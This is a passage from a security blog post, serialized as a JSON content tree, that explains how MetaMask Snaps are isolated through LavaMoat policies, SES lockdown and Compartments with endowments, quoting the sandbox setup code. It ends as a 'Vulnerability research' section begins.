"type":24,"value":34435},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":19,"tag":7050,"props":34437,"children":34439},{"id":34438},"lavamoat-against-supply-chain-attacks-layer-2",[34440],{"type":24,"value":34441},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":19,"tag":20,"props":34443,"children":34444},{},[34445],{"type":24,"value":34446},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":19,"tag":20,"props":34448,"children":34449},{},[34450,34452,34458],{"type":24,"value":34451},"Malicious dependencies might utilize built-in modules like ",{"type":19,"tag":27,"props":34453,"children":34455},{"className":34454},[],[34456],{"type":24,"value":34457},"fs",{"type":24,"value":34459},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":19,"tag":20,"props":34461,"children":34462},{},[34463],{"type":24,"value":34464},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":19,"tag":20,"props":34466,"children":34467},{},[34468,34470,34477],{"type":24,"value":34469},"This is how a Policy file related to the iframes ",{"type":19,"tag":269,"props":34471,"children":34474},{"href":34472,"rel":34473},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[273],[34475],{"type":24,"value":34476},"looks",{"type":24,"value":1922},{"type":19,"tag":158,"props":34479,"children":34481},{"className":31469,"code":34480,"language":31471,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n \"globals\": {\n \"MessageEvent.prototype\": true,\n \"WorkerGlobalScope\": true,\n \"addEventListener\": true,\n \"browser\": true,\n \"chrome\": true,\n \"location.origin\": true,\n \"postMessage\": true,\n \"removeEventListener\": true\n },\n \"packages\": {\n \"@metamask/post-message-stream>@metamask/utils\": true,\n \"@metamask/post-message-stream>readable-stream\": true\n }\n }\n",[34482],{"type":19,"tag":27,"props":34483,"children":34484},{"__ignoreMap":7},[34485,34498,34510,34530,34550,34570,34590,34610,34630,34650,34667,34675,34687,34707,34723,34730],{"type":19,"tag":168,"props":34486,"children":34487},{"class":170,"line":171},[34488,34493],{"type":19,"tag":168,"props":34489,"children":34490},{"style":181},[34491],{"type":24,"value":34492},"\"@metamask/post-message-stream\"",{"type":19,"tag":168,"props":34494,"children":34495},{"style":212},[34496],{"type":24,"value":34497},": {\n",{"type":19,"tag":168,"props":34499,"children":34500},{"class":170,"line":198},[34501,34506],{"type":19,"tag":168,"props":34502,"children":34503},{"style":393},[34504],{"type":24,"value":34505}," \"globals\"",{"type":19,"tag":168,"props":34507,"children":34508},{"style":212},[34509],{"type":24,"value":34497},{"type":19,"tag":168,"props":34511,"children":34512},{"class":170,"line":415},[34513,34518,34522,34526],{"type":19,"tag":168,"props":34514,"children":34515},{"style":393},[34516],{"type":24,"value":34517}," \"MessageEvent.prototype\"",{"type":19,"tag":168,"props":34519,"children":34520},{"style":212},[34521],{"type":24,"value":12778},{"type":19,"tag":168,"props":34523,"children":34524},{"style":382},[34525],{"type":24,"value":1423},{"type":19,"tag":168,"props":34527,"children":34528},{"style":212},[34529],{"type":24,"value":915},{"type":19,"tag":168,"props":34531,"children":34532},{"class":170,"line":450},[34533,34538,34542,34546],{"type":19,"tag":168,"props":34534,"children":34535},{"style":393},[34536],{"type":24,"value":34537}," \"WorkerGlobalScope\"",{"type":19,"tag":168,"props":34539,"children":34540},{"style":212},[34541],{"type":24,"value":12778},{"type":19,"tag":168,"props":34543,"children":34544},{"style":382},[34545],{"type":24,"value":1423},{"type":19,"tag":168,"props":34547,"children":34548},{"style":212},[34549],{"type":24,"value":915},{"type":19,"tag":168,"props":34551,"children":34552},{"class":170,"line":560},[34553,34558,34562,34566],{"type":19,"tag":168,"props":34554,"children":34555},{"style":393},[34556],{"type":24,"value":34557}," \"addEventListener\"",{"type":19,"tag":168,"props":34559,"children":34560},{"style":212},[34561],{"type":24,"value":12778},{"type":19,"tag":168,"props":34563,"children":34564},{"style":382},[34565],{"type":24,"value":1423},{"type":19,"tag":168,"props":34567,"children":34568},{"style":212},[34569],{"type":24,"value":915},{"type":19,"tag":168,"props":34571,"children":34572},{"class":170,"line":666},[34573,34578,34582,34586],{"type":19,"tag":168,"props":34574,"children":34575},{"style":393},[34576],{"type":24,"value":34577}," \"browser\"",{"type":19,"tag":168,"props":34579,"children":34580},{"style":212},[34581],{"type":24,"value":12778},{"type":19,"tag":168,"props":34583,"children":34584},{"style":382},[34585],{"type":24,"value":1423},{"type":19,"tag":168,"props":34587,"children":34588},{"style":212},[34589],{"type":24,"value":915},{"type":19,"tag":168,"props":34591,"children":34592},{"class":170,"line":694},[34593,34598,34602,34606],{"type":19,"tag":168,"props":34594,"children":34595},{"style":393},[34596],{"type":24,"value":34597}," \"chrome\"",{"type":19,"tag":168,"props":34599,"children":34600},{"style":212},[34601],{"type":24,"value":12778},{"type":19,"tag":168,"props":34603,"children":34604},{"style":382},[34605],{"type":24,"value":1423},{"type":19,"tag":168,"props":34607,"children":34608},{"style":212},[34609],{"type":24,"value":915},{"type":19,"tag":168,"props":34611,"children":34612},{"class":170,"line":707},[34613,34618,34622,34626],{"type":19,"tag":168,"props":34614,"children":34615},{"style":393},[34616],{"type":24,"value":34617}," \"location.origin\"",{"type":19,"tag":168,"props":34619,"children":34620},{"style":212},[34621],{"type":24,"value":12778},{"type":19,"tag":168,"props":34623,"children":34624},{"style":382},[34625],{"type":24,"value":1423},{"type":19,"tag":168,"props":34627,"children":34628},{"style":212},[34629],{"type":24,"value":915},{"type":19,"tag":168,"props":34631,"children":34632},{"class":170,"line":725},[34633,34638,34642,34646],{"type":19,"tag":168,"props":34634,"children":34635},{"style":393},[34636],{"type":24,"value":34637}," \"postMessage\"",{"type":19,"tag":168,"props":34639,"children":34640},{"style":212},[34641],{"type":24,"value":12778},{"type":19,"tag":168,"props":34643,"children":34644},{"style":382},[34645],{"type":24,"value":1423},{"type":19,"tag":168,"props":34647,"children":34648},{"style":212},[34649],{"type":24,"value":915},{"type":19,"tag":168,"props":34651,"children":34652},{"class":170,"line":746},[34653,34658,34662],{"type":19,"tag":168,"props":34654,"children":34655},{"style":393},[34656],{"type":24,"value":34657}," \"removeEventListener\"",{"type":19,"tag":168,"props":34659,"children":34660},{"style":212},[34661],{"type":24,"value":12778},{"type":19,"tag":168,"props":34663,"children":34664},{"style":382},[34665],{"type":24,"value":34666},"true\n",{"type":19,"tag":168,"props":34668,"children":34669},{"class":170,"line":755},[34670],{"type":19,"tag":168,"props":34671,"children":34672},{"style":212},[34673],{"type":24,"value":34674}," },\n",{"type":19,"tag":168,"props":34676,"children":34677},{"class":170,"line":1008},[34678,34683],{"type":19,"tag":168,"props":34679,"children":34680},{"style":393},[34681],{"type":24,"value":34682}," \"packages\"",{"type":19,"tag":168,"props":34684,"children":34685},{"style":212},[34686],{"type":24,"value":34497},{"type":19,"tag":168,"props":34688,"children":34689},{"class":170,"line":1025},[34690,34695,34699,34703],{"type":19,"tag":168,"props":34691,"children":34692},{"style":393},[34693],{"type":24,"value":34694}," \"@metamask/post-message-stream>@metamask/utils\"",{"type":19,"tag":168,"props":34696,"children":34697},{"style":212},[34698],{"type":24,"value":12778},{"type":19,"tag":168,"props":34700,"children":34701},{"style":382},[34702],{"type":24,"value":1423},{"type":19,"tag":168,"props":34704,"children":34705},{"style":212},[34706],{"type":24,"value":915},{"type":19,"tag":168,"props":34708,"children":34709},{"class":170,"line":1042},[34710,34715,34719],{"type":19,"tag":168,"props":34711,"children":34712},{"style":393},[34713],{"type":24,"value":34714}," \"@metamask/post-message-stream>readable-stream\"",{"type":19,"tag":168,"props":34716,"children":34717},{"style":212},[34718],{"type":24,"value":12778},{"type":19,"tag":168,"props":34720,"children":34721},{"style":382},[34722],{"type":24,"value":34666},{"type":19,"tag":168,"props":34724,"children":34725},{"class":170,"line":1055},[34726],{"type":19,"tag":168,"props":34727,"children":34728},{"style":212},[34729],{"type":24,"value":10109},{"type":19,"tag":168,"props":34731,"children":34732},{"class":170,"line":1064},[34733],{"type":19,"tag":168,"props":34734,"children":34735},{"style":212},[34736],{"type":24,"value":761},{"type":19,"tag":20,"props":34738,"children":34739},{},[34740,34742,34748,34750,34756,34758,34764,34766,34772,34773,34779],{"type":24,"value":34741},"One crucial aspect of the policy, apart from the ",{"type":19,"tag":27,"props":34743,"children":34745},{"className":34744},[],[34746],{"type":24,"value":34747},"globals",{"type":24,"value":34749}," section, is the ",{"type":19,"tag":27,"props":34751,"children":34753},{"className":34752},[],[34754],{"type":24,"value":34755},"packages",{"type":24,"value":34757}," segment. This section permits the ",{"type":19,"tag":27,"props":34759,"children":34761},{"className":34760},[],[34762],{"type":24,"value":34763},"@metamask/post-message-stream",{"type":24,"value":34765},"package to exclusively interact with the package ",{"type":19,"tag":27,"props":34767,"children":34769},{"className":34768},[],[34770],{"type":24,"value":34771},"@metamask/utils",{"type":24,"value":8436},{"type":19,"tag":27,"props":34774,"children":34776},{"className":34775},[],[34777],{"type":24,"value":34778},"readable-stream",{"type":24,"value":34780},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":19,"tag":20,"props":34782,"children":34783},{},[34784,34786,34792],{"type":24,"value":34785},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":19,"tag":27,"props":34787,"children":34789},{"className":34788},[],[34790],{"type":24,"value":34791},"lockdown",{"type":24,"value":34793}," function to freeze all javascript builtins prototypes.",{"type":19,"tag":7050,"props":34795,"children":34797},{"id":34796},"secure-ecmascript-ses-sandbox-layer-3",[34798],{"type":24,"value":34799},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":19,"tag":20,"props":34801,"children":34802},{},[34803,34805,34812],{"type":24,"value":34804},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":19,"tag":269,"props":34806,"children":34809},{"href":34807,"rel":34808},"https://github.com/endojs/endo/tree/master/packages/ses",[273],[34810],{"type":24,"value":34811},"Secure EcmaScript (SES)",{"type":24,"value":34813}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":19,"tag":16345,"props":34815,"children":34817},{"id":34816},"ses-fundamentals",[34818],{"type":24,"value":34819},"SES Fundamentals",{"type":19,"tag":34821,"props":34822,"children":34823},"h5",{"id":34791},[34824],{"type":24,"value":34825},"Lockdown",{"type":19,"tag":20,"props":34827,"children":34828},{},[34829,34831,34837],{"type":24,"value":34830},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":19,"tag":27,"props":34832,"children":34834},{"className":34833},[],[34835],{"type":24,"value":34836},"lockdown()",{"type":24,"value":34838}," function, which protects javascript objects against some attacks, mainly:",{"type":19,"tag":2869,"props":34840,"children":34841},{},[34842,34855],{"type":19,"tag":47,"props":34843,"children":34844},{},[34845,34847,34853],{"type":24,"value":34846},"Prototype Pollution\nLockdown executes ",{"type":19,"tag":27,"props":34848,"children":34850},{"className":34849},[],[34851],{"type":24,"value":34852},"Object.freeze",{"type":24,"value":34854}," against all javascript builtins prototypes, preventing these attacks.",{"type":19,"tag":47,"props":34856,"children":34857},{},[34858,34860,34866,34868,34874],{"type":24,"value":34859},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":19,"tag":27,"props":34861,"children":34863},{"className":34862},[],[34864],{"type":24,"value":34865},"trace",{"type":24,"value":34867}," attribute in an ",{"type":19,"tag":27,"props":34869,"children":34871},{"className":34870},[],[34872],{"type":24,"value":34873},"Error",{"type":24,"value":34875}," object, which contains the stack trace of the error.",{"type":19,"tag":34821,"props":34877,"children":34879},{"id":34878},"compartment",[34880],{"type":24,"value":34881},"Compartment",{"type":19,"tag":20,"props":34883,"children":34884},{},[34885,34887,34893,34895,34900],{"type":24,"value":34886},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":19,"tag":27,"props":34888,"children":34890},{"className":34889},[],[34891],{"type":24,"value":34892},"globalThis",{"type":24,"value":34894}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":19,"tag":27,"props":34896,"children":34898},{"className":34897},[],[34899],{"type":24,"value":34892},{"type":24,"value":34901}," context is incapable of tampering with security.",{"type":19,"tag":158,"props":34903,"children":34905},{"className":33088,"code":34904,"language":33090,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[34906],{"type":19,"tag":27,"props":34907,"children":34908},{"__ignoreMap":7},[34909,34938,34971],{"type":19,"tag":168,"props":34910,"children":34911},{"class":170,"line":171},[34912,34916,34921,34925,34929,34934],{"type":19,"tag":168,"props":34913,"children":34914},{"style":382},[34915],{"type":24,"value":7097},{"type":19,"tag":168,"props":34917,"children":34918},{"style":393},[34919],{"type":24,"value":34920}," c",{"type":19,"tag":168,"props":34922,"children":34923},{"style":399},[34924],{"type":24,"value":402},{"type":19,"tag":168,"props":34926,"children":34927},{"style":382},[34928],{"type":24,"value":29405},{"type":19,"tag":168,"props":34930,"children":34931},{"style":175},[34932],{"type":24,"value":34933}," Compartment",{"type":19,"tag":168,"props":34935,"children":34936},{"style":212},[34937],{"type":24,"value":1084},{"type":19,"tag":168,"props":34939,"children":34940},{"class":170,"line":198},[34941,34945,34949,34953,34957,34962,34966],{"type":19,"tag":168,"props":34942,"children":34943},{"style":393},[34944],{"type":24,"value":543},{"type":19,"tag":168,"props":34946,"children":34947},{"style":212},[34948],{"type":24,"value":948},{"type":19,"tag":168,"props":34950,"children":34951},{"style":393},[34952],{"type":24,"value":34892},{"type":19,"tag":168,"props":34954,"children":34955},{"style":399},[34956],{"type":24,"value":28894},{"type":19,"tag":168,"props":34958,"children":34959},{"style":393},[34960],{"type":24,"value":34961}," globalThis",{"type":19,"tag":168,"props":34963,"children":34964},{"style":212},[34965],{"type":24,"value":14676},{"type":19,"tag":168,"props":34967,"children":34968},{"style":373},[34969],{"type":24,"value":34970},"// false\n",{"type":19,"tag":168,"props":34972,"children":34973},{"class":170,"line":415},[34974,34978,34982,34986,34990,34995,34999,35004,35008],{"type":19,"tag":168,"props":34975,"children":34976},{"style":393},[34977],{"type":24,"value":543},{"type":19,"tag":168,"props":34979,"children":34980},{"style":212},[34981],{"type":24,"value":948},{"type":19,"tag":168,"props":34983,"children":34984},{"style":393},[34985],{"type":24,"value":34892},{"type":19,"tag":168,"props":34987,"children":34988},{"style":212},[34989],{"type":24,"value":948},{"type":19,"tag":168,"props":34991,"children":34992},{"style":393},[34993],{"type":24,"value":34994},"JSON",{"type":19,"tag":168,"props":34996,"children":34997},{"style":399},[34998],{"type":24,"value":28894},{"type":19,"tag":168,"props":35000,"children":35001},{"style":393},[35002],{"type":24,"value":35003}," JSON",{"type":19,"tag":168,"props":35005,"children":35006},{"style":212},[35007],{"type":24,"value":14676},{"type":19,"tag":168,"props":35009,"children":35010},{"style":373},[35011],{"type":24,"value":35012},"// true\n",{"type":19,"tag":20,"props":35014,"children":35015},{},[35016,35018,35024,35026,35032,35034,35039],{"type":24,"value":35017},"Compartment also changes the behaviour of evaluators functions such as ",{"type":19,"tag":27,"props":35019,"children":35021},{"className":35020},[],[35022],{"type":24,"value":35023},"eval",{"type":24,"value":35025}," and the ",{"type":19,"tag":27,"props":35027,"children":35029},{"className":35028},[],[35030],{"type":24,"value":35031},"Function",{"type":24,"value":35033}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":19,"tag":27,"props":35035,"children":35037},{"className":35036},[],[35038],{"type":24,"value":34892},{"type":24,"value":948},{"type":19,"tag":34821,"props":35041,"children":35043},{"id":35042},"endowments",[35044],{"type":24,"value":35045},"Endowments",{"type":19,"tag":20,"props":35047,"children":35048},{},[35049,35051,35055,35057,35062],{"type":24,"value":35050},"While creating a Compartment, it is possible to specify ",{"type":19,"tag":293,"props":35052,"children":35053},{},[35054],{"type":24,"value":35042},{"type":24,"value":35056},". These endowments constitute objects that become accessible within the Compartment's ",{"type":19,"tag":27,"props":35058,"children":35060},{"className":35059},[],[35061],{"type":24,"value":34892},{"type":24,"value":35063},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":19,"tag":20,"props":35065,"children":35066},{},[35067,35069,35075],{"type":24,"value":35068},"In addition, SES provides the ",{"type":19,"tag":27,"props":35070,"children":35072},{"className":35071},[],[35073],{"type":24,"value":35074},"harden()",{"type":24,"value":35076}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":19,"tag":16345,"props":35078,"children":35080},{"id":35079},"setting-up-snaps-execution-env",[35081],{"type":24,"value":35082},"Setting up Snaps Execution Env",{"type":19,"tag":20,"props":35084,"children":35085},{},[35086],{"type":24,"value":35087},"When starting a snap, the setup follows these steps:",{"type":19,"tag":2869,"props":35089,"children":35090},{},[35091],{"type":19,"tag":47,"props":35092,"children":35093},{},[35094],{"type":19,"tag":51,"props":35095,"children":35096},{},[35097,35099],{"type":24,"value":35098},"Create endowments based on snap ",{"type":19,"tag":269,"props":35100,"children":35103},{"href":35101,"rel":35102},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[273],[35104],{"type":24,"value":35105},"permissions",{"type":19,"tag":158,"props":35107,"children":35109},{"className":33088,"code":35108,"language":33090,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n snap,\n ethereum,\n snapId,\n _endowments,\n);\n",[35110],{"type":19,"tag":27,"props":35111,"children":35112},{"__ignoreMap":7},[35113,35163,35175,35186,35198,35210],{"type":19,"tag":168,"props":35114,"children":35115},{"class":170,"line":171},[35116,35120,35124,35128,35132,35137,35141,35146,35150,35154,35159],{"type":19,"tag":168,"props":35117,"children":35118},{"style":382},[35119],{"type":24,"value":7097},{"type":19,"tag":168,"props":35121,"children":35122},{"style":212},[35123],{"type":24,"value":7027},{"type":19,"tag":168,"props":35125,"children":35126},{"style":393},[35127],{"type":24,"value":35042},{"type":19,"tag":168,"props":35129,"children":35130},{"style":212},[35131],{"type":24,"value":471},{"type":19,"tag":168,"props":35133,"children":35134},{"style":393},[35135],{"type":24,"value":35136},"teardown",{"type":19,"tag":168,"props":35138,"children":35139},{"style":212},[35140],{"type":24,"value":12778},{"type":19,"tag":168,"props":35142,"children":35143},{"style":393},[35144],{"type":24,"value":35145},"endowmentTeardown",{"type":19,"tag":168,"props":35147,"children":35148},{"style":212},[35149],{"type":24,"value":33677},{"type":19,"tag":168,"props":35151,"children":35152},{"style":399},[35153],{"type":24,"value":486},{"type":19,"tag":168,"props":35155,"children":35156},{"style":175},[35157],{"type":24,"value":35158}," createEndowments",{"type":19,"tag":168,"props":35160,"children":35161},{"style":212},[35162],{"type":24,"value":870},{"type":19,"tag":168,"props":35164,"children":35165},{"class":170,"line":198},[35166,35171],{"type":19,"tag":168,"props":35167,"children":35168},{"style":393},[35169],{"type":24,"value":35170}," snap",{"type":19,"tag":168,"props":35172,"children":35173},{"style":212},[35174],{"type":24,"value":915},{"type":19,"tag":168,"props":35176,"children":35177},{"class":170,"line":415},[35178,35182],{"type":19,"tag":168,"props":35179,"children":35180},{"style":393},[35181],{"type":24,"value":28956},{"type":19,"tag":168,"props":35183,"children":35184},{"style":212},[35185],{"type":24,"value":915},{"type":19,"tag":168,"props":35187,"children":35188},{"class":170,"line":450},[35189,35194],{"type":19,"tag":168,"props":35190,"children":35191},{"style":393},[35192],{"type":24,"value":35193}," snapId",{"type":19,"tag":168,"props":35195,"children":35196},{"style":212},[35197],{"type":24,"value":915},{"type":19,"tag":168,"props":35199,"children":35200},{"class":170,"line":560},[35201,35206],{"type":19,"tag":168,"props":35202,"children":35203},{"style":393},[35204],{"type":24,"value":35205}," _endowments",{"type":19,"tag":168,"props":35207,"children":35208},{"style":212},[35209],{"type":24,"value":915},{"type":19,"tag":168,"props":35211,"children":35212},{"class":170,"line":666},[35213],{"type":19,"tag":168,"props":35214,"children":35215},{"style":212},[35216],{"type":24,"value":1249},{"type":19,"tag":20,"props":35218,"children":35219},{},[35220],{"type":24,"value":35221},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":19,"tag":20,"props":35223,"children":35224},{},[35225,35227,35233,35235,35241],{"type":24,"value":35226},"One clear example is the ",{"type":19,"tag":27,"props":35228,"children":35230},{"className":35229},[],[35231],{"type":24,"value":35232},"endowment:network-access",{"type":24,"value":35234}," permission, that adds the ",{"type":19,"tag":27,"props":35236,"children":35238},{"className":35237},[],[35239],{"type":24,"value":35240},"fetch()",{"type":24,"value":35242}," function to the endowments.",{"type":19,"tag":20,"props":35244,"children":35245},{},[35246,35248,35254],{"type":24,"value":35247},"All endowments are protected with the ",{"type":19,"tag":27,"props":35249,"children":35251},{"className":35250},[],[35252],{"type":24,"value":35253},"harden",{"type":24,"value":35255}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":19,"tag":2869,"props":35257,"children":35258},{"start":198},[35259],{"type":19,"tag":47,"props":35260,"children":35261},{},[35262],{"type":19,"tag":51,"props":35263,"children":35264},{},[35265,35267],{"type":24,"value":35266},"Create the snap ",{"type":19,"tag":269,"props":35268,"children":35271},{"href":35269,"rel":35270},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[273],[35272],{"type":24,"value":34878},{"type":19,"tag":158,"props":35274,"children":35276},{"className":33088,"code":35275,"language":33090,"meta":7,"style":7},"const compartment = new Compartment({\n ...endowments,\n module: snapModule,\n exports: snapModule.exports,\n});\n",[35277],{"type":19,"tag":27,"props":35278,"children":35279},{"__ignoreMap":7},[35280,35308,35324,35341,35366],{"type":19,"tag":168,"props":35281,"children":35282},{"class":170,"line":171},[35283,35287,35292,35296,35300,35304],{"type":19,"tag":168,"props":35284,"children":35285},{"style":382},[35286],{"type":24,"value":7097},{"type":19,"tag":168,"props":35288,"children":35289},{"style":393},[35290],{"type":24,"value":35291}," compartment",{"type":19,"tag":168,"props":35293,"children":35294},{"style":399},[35295],{"type":24,"value":402},{"type":19,"tag":168,"props":35297,"children":35298},{"style":382},[35299],{"type":24,"value":29405},{"type":19,"tag":168,"props":35301,"children":35302},{"style":175},[35303],{"type":24,"value":34933},{"type":19,"tag":168,"props":35305,"children":35306},{"style":212},[35307],{"type":24,"value":12587},{"type":19,"tag":168,"props":35309,"children":35310},{"class":170,"line":198},[35311,35316,35320],{"type":19,"tag":168,"props":35312,"children":35313},{"style":399},[35314],{"type":24,"value":35315}," ...",{"type":19,"tag":168,"props":35317,"children":35318},{"style":393},[35319],{"type":24,"value":35042},{"type":19,"tag":168,"props":35321,"children":35322},{"style":212},[35323],{"type":24,"value":915},{"type":19,"tag":168,"props":35325,"children":35326},{"class":170,"line":415},[35327,35332,35337],{"type":19,"tag":168,"props":35328,"children":35329},{"style":393},[35330],{"type":24,"value":35331}," module:",{"type":19,"tag":168,"props":35333,"children":35334},{"style":393},[35335],{"type":24,"value":35336}," snapModule",{"type":19,"tag":168,"props":35338,"children":35339},{"style":212},[35340],{"type":24,"value":915},{"type":19,"tag":168,"props":35342,"children":35343},{"class":170,"line":450},[35344,35349,35353,35357,35362],{"type":19,"tag":168,"props":35345,"children":35346},{"style":393},[35347],{"type":24,"value":35348}," exports:",{"type":19,"tag":168,"props":35350,"children":35351},{"style":393},[35352],{"type":24,"value":35336},{"type":19,"tag":168,"props":35354,"children":35355},{"style":212},[35356],{"type":24,"value":948},{"type":19,"tag":168,"props":35358,"children":35359},{"style":393},[35360],{"type":24,"value":35361},"exports",{"type":19,"tag":168,"props":35363,"children":35364},{"style":212},[35365],{"type":24,"value":915},{"type":19,"tag":168,"props":35367,"children":35368},{"class":170,"line":560},[35369],{"type":19,"tag":168,"props":35370,"children":35371},{"style":212},[35372],{"type":24,"value":32812},{"type":19,"tag":20,"props":35374,"children":35375},{},[35376,35378,35384,35385,35390,35392,35397],{"type":24,"value":35377},"Note: ",{"type":19,"tag":27,"props":35379,"children":35381},{"className":35380},[],[35382],{"type":24,"value":35383},"module",{"type":24,"value":8436},{"type":19,"tag":27,"props":35386,"children":35388},{"className":35387},[],[35389],{"type":24,"value":35361},{"type":24,"value":35391}," are passed as endowments, but without being ",{"type":19,"tag":293,"props":35393,"children":35394},{},[35395],{"type":24,"value":35396},"hardened",{"type":24,"value":35398},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":19,"tag":2869,"props":35400,"children":35401},{"start":415},[35402],{"type":19,"tag":47,"props":35403,"children":35404},{},[35405],{"type":19,"tag":51,"props":35406,"children":35407},{},[35408,35410],{"type":24,"value":35409},"Evaluate the snap code inside the ",{"type":19,"tag":269,"props":35411,"children":35414},{"href":35412,"rel":35413},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[273],[35415],{"type":24,"value":34878},{"type":19,"tag":158,"props":35417,"children":35419},{"className":33088,"code":35418,"language":33090,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n compartment.evaluate(sourceCode);\n this.registerSnapExports(snapId, snapModule);\n});\n",[35420],{"type":19,"tag":27,"props":35421,"children":35422},{"__ignoreMap":7},[35423,35464,35494,35531],{"type":19,"tag":168,"props":35424,"children":35425},{"class":170,"line":171},[35426,35430,35434,35438,35443,35447,35451,35456,35460],{"type":19,"tag":168,"props":35427,"children":35428},{"style":419},[35429],{"type":24,"value":30389},{"type":19,"tag":168,"props":35431,"children":35432},{"style":382},[35433],{"type":24,"value":33191},{"type":19,"tag":168,"props":35435,"children":35436},{"style":212},[35437],{"type":24,"value":948},{"type":19,"tag":168,"props":35439,"children":35440},{"style":175},[35441],{"type":24,"value":35442},"executeInSnapContext",{"type":19,"tag":168,"props":35444,"children":35445},{"style":212},[35446],{"type":24,"value":500},{"type":19,"tag":168,"props":35448,"children":35449},{"style":393},[35450],{"type":24,"value":33495},{"type":19,"tag":168,"props":35452,"children":35453},{"style":212},[35454],{"type":24,"value":35455},", () ",{"type":19,"tag":168,"props":35457,"children":35458},{"style":382},[35459],{"type":24,"value":12268},{"type":19,"tag":168,"props":35461,"children":35462},{"style":212},[35463],{"type":24,"value":691},{"type":19,"tag":168,"props":35465,"children":35466},{"class":170,"line":198},[35467,35472,35476,35481,35485,35490],{"type":19,"tag":168,"props":35468,"children":35469},{"style":393},[35470],{"type":24,"value":35471}," compartment",{"type":19,"tag":168,"props":35473,"children":35474},{"style":212},[35475],{"type":24,"value":948},{"type":19,"tag":168,"props":35477,"children":35478},{"style":175},[35479],{"type":24,"value":35480},"evaluate",{"type":19,"tag":168,"props":35482,"children":35483},{"style":212},[35484],{"type":24,"value":500},{"type":19,"tag":168,"props":35486,"children":35487},{"style":393},[35488],{"type":24,"value":35489},"sourceCode",{"type":19,"tag":168,"props":35491,"children":35492},{"style":212},[35493],{"type":24,"value":1249},{"type":19,"tag":168,"props":35495,"children":35496},{"class":170,"line":415},[35497,35501,35505,35510,35514,35518,35522,35527],{"type":19,"tag":168,"props":35498,"children":35499},{"style":382},[35500],{"type":24,"value":33539},{"type":19,"tag":168,"props":35502,"children":35503},{"style":212},[35504],{"type":24,"value":948},{"type":19,"tag":168,"props":35506,"children":35507},{"style":175},[35508],{"type":24,"value":35509},"registerSnapExports",{"type":19,"tag":168,"props":35511,"children":35512},{"style":212},[35513],{"type":24,"value":500},{"type":19,"tag":168,"props":35515,"children":35516},{"style":393},[35517],{"type":24,"value":33495},{"type":19,"tag":168,"props":35519,"children":35520},{"style":212},[35521],{"type":24,"value":471},{"type":19,"tag":168,"props":35523,"children":35524},{"style":393},[35525],{"type":24,"value":35526},"snapModule",{"type":19,"tag":168,"props":35528,"children":35529},{"style":212},[35530],{"type":24,"value":1249},{"type":19,"tag":168,"props":35532,"children":35533},{"class":170,"line":450},[35534],{"type":19,"tag":168,"props":35535,"children":35536},{"style":212},[35537],{"type":24,"value":32812},{"type":19,"tag":20,"props":35539,"children":35540},{},[35541,35543,35549,35550,35556,35557,35563],{"type":24,"value":35542},"According to the documentation, the snap must contain one of the following function exports: ",{"type":19,"tag":27,"props":35544,"children":35546},{"className":35545},[],[35547],{"type":24,"value":35548},"onRpcRequest",{"type":24,"value":471},{"type":19,"tag":27,"props":35551,"children":35553},{"className":35552},[],[35554],{"type":24,"value":35555},"onTransaction",{"type":24,"value":10579},{"type":19,"tag":27,"props":35558,"children":35560},{"className":35559},[],[35561],{"type":24,"value":35562},"onCronjob",{"type":24,"value":948},{"type":19,"tag":20,"props":35565,"children":35566},{},[35567,35569,35574],{"type":24,"value":35568},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":19,"tag":27,"props":35570,"children":35572},{"className":35571},[],[35573],{"type":24,"value":34892},{"type":24,"value":35575}," environment of that Compartment.",{"type":19,"tag":20,"props":35577,"children":35578},{},[35579],{"type":24,"value":35580},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":19,"tag":36,"props":35582,"children":35584},{"id":35583},"vulnerability-research",[35585],{"type":24,"value":35586},"Vulnerability research",{"type":19,"tag":7050,"props":35588,"children":35590},{"id":35589},"possible-attacks",[35591],{"type":24,"value":35592},"Possible 